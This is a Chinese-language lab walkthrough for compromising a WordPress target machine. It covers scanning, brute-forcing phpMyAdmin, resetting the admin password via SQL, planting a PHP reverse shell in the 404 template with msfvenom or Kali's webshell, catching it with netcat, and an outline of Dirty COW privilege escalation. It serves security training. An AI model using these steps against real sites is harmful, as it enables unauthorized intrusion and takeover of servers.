渗透--WordPress网站

标签：shell 漏洞 -- kali 渗透 WordPress dirty 网站权限

WordPress简介
WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统( CMS )来使用。
WordPress是一款个人博客系统，并逐步演化成一款内容管理系统软件，它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。

第一步，信息收集

（1）主机发现：arp-scan -l　　查看同一局域网下的主机

主机发现也采用 arp-scan、netdiscover、fping等工具

（2）端口扫描：使用namp对发现的主机IP进行扫描

命令：nmap -sS -SV -p- -v -T4 靶机IP

（3）dirb目录遍历

目录扫描工具还有：dirb、dirbuster、gobuster、御剑

寻找敏感文件//

例如找到了phpmyadmin的mysql数据库登陆页面，以及wp-admin管理员登陆页面

进入mysql数据库：

方法一：使用弱口令登陆，默认下未修改的账号/密码可尝试登陆：root

方法二：使用phpmyadmin多线程批量破解工具进行爆破

在成功破解到密码后，我们发现可以修改。或者添加用户。我们为登陆的用户进行修改 ps：因为密码经过了MD5等格式的加密，不容易破解，我们为了方便可以进行修改密码

为了方便wp-admin管理员页面顺利登陆我们可以修改密码

例如：我们将密码重新设置为‘123456’：

update wp-users set user_pass=md5("123456") where user_login= 'cleverbao'；

因为靶场问题：些许靶机部分数据段字段，例如wp的ip地址需要进行修改，才能完成此实验

将后面改成自己kali的地址

在一系列的操作完成后，我们就可以正常的去登陆后逃跑：//靶机ip/wp-admin，输入账号密码。进入后台

第二步，权限提升

生成shell

方法一：利用MSF生成反弹shell：msfvenom -p php/meterpreter/reverse_tcp(生成一个webshell的类型) LHOST=Kali的IP LPORT=4444(监听端口) -o Desktop/shell.php

一旦网站执行了上传的马，我们将有控制网站的权利

方法二：

利用kali Linux自带的反弹shell

终端输入：cat /usr/share/webshells/php/php-reverse-shell.php查找木马代码

复制此shell代码到404模版，修改IP为kali地址，端口为4444

点击外观，选择里面的编辑，选择404模版，将代码复制到404模版插入反弹shell

获取shell

使用netcat，类似于中国菜刀，监听4444端口：nc -nlvp 4444

浏览器访问不存在的页面，触发404文件执行，例如http://靶机ip/?p=666

使用命令whoami，查看当前权限

如果当前权限不是root权限需要进行提权

注：$代表一般用户权限，#代表root权限

使用命令：uname -a　　// 可以查看当前系统的内核

权限提升-漏洞概述

漏洞原理
Linux内核的内存子系统在处理写入时复制(copy-on-write,COW)时产生了竞争条件(race condition )。恶意用户可利用此漏洞，来获取高杠限，对只读内存映射进行写访问
竞争条件，指的是任务执行顺序异常，可导致应用崩溃，或令攻击者有机可乘，进一步执行其他代码。利用这一漏洞，攻击者可在其目标系统提升权限，甚至可能获得root权限.